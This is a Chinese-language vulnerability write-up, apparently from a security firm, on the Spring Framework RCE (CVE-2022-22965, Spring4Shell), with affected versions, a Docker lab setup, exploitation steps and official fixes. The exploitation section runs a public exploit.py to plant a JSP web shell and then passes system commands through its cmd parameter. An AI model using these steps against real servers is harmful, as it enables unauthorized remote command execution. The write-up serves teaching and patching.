0x01 漏洞概述
spring 官网在 2022 年 3 月 31 日发布该漏洞的概述:该漏洞影响在 JDK 9+ 上运行的 Spring MVC 和 Spring WebFlux 应用程序。具体的利用需要应用程序作为 WAR 部署在 Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar,即默认值,则它不容易受到漏洞利用。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。
0x02 影响范围
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
• 在 JDK 9 或更高版本上运行
• Apache Tomcat 作为 Servlet 容器。
• 打包为传统的 WAR 并部署在独立的 Tomcat 实例中。使用嵌入式 Servlet 容器
或响应式 Web 服务器的典型 Spring Boot 部署不受影响。
• spring-webmvc 或 spring-webflux 依赖。
• Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本。
0x03 环境搭建
靶机:kali-linux
攻击机:Windows10
参考链接:
https://github.com/lunasec-io/Spring4Shell-POC
用 git 命令拉取该链接上的漏洞测试环境
git clone https://github.com/lunasec-io/Spring4Shell-POC.git
创建该环境下的 docker 镜像并启动,将端口映射到 8080
docker build . -t spring4shell && docker run -p 8080:8080 spring4shell
完成后,访问
http://靶机 IP:8080/helloworld/greeting
0x04 漏洞利用
运行 exploit.py 脚本,向靶机写 shell:
脚本链接:
https://github.com/lunasec-io/Spring4Shell-POC/blob/master/exploit.py
python3 exploit.py --url "http://靶机 IP:8080/helloworld/greeting"
访问写入的 shell 文件,通过 cmd 参数传入执行的系统命令:如查看当前用户系统 id:
http://靶机:8080/shell.jsp?cmd=id
查看当前用户系统:
http://靶机:8080/shell.jsp?cmd=whoami
0x05 修复方案
目前,spring 官网已发布相关的解决方案:
包含修复的 Spring Framework 5.3.18 和 5.2.20 已发布。
依赖 Spring Framework 5.3.18 的 Spring Boot 2.6.6 和 2.5.12 已经发布。
CVE-2022-22965 已发布。
Apache Tomcat 发布了 10.0.20、9.0.62 和 8.5.78 版本,它们关闭了 Tomcat 方面的攻击
媒介,请参阅 Spring Framework RCE,Mitigation Alternative。
spring 官网给出的相关解决方案:
• 更新到 Spring Framework 5.3.18 和 5.2.20 或更高版本(首选方案)
• 升级 Tomca
• 降级到 Java 8
• 不允许的字段
参考链接:
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
https://tanzu.vmware.com/security/cve-2022-22965
https://github.com/lunasec-io/Spring4Shell-POC
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
蓝爵网安
广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。
原文始发于微信公众号(蓝爵网安):Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论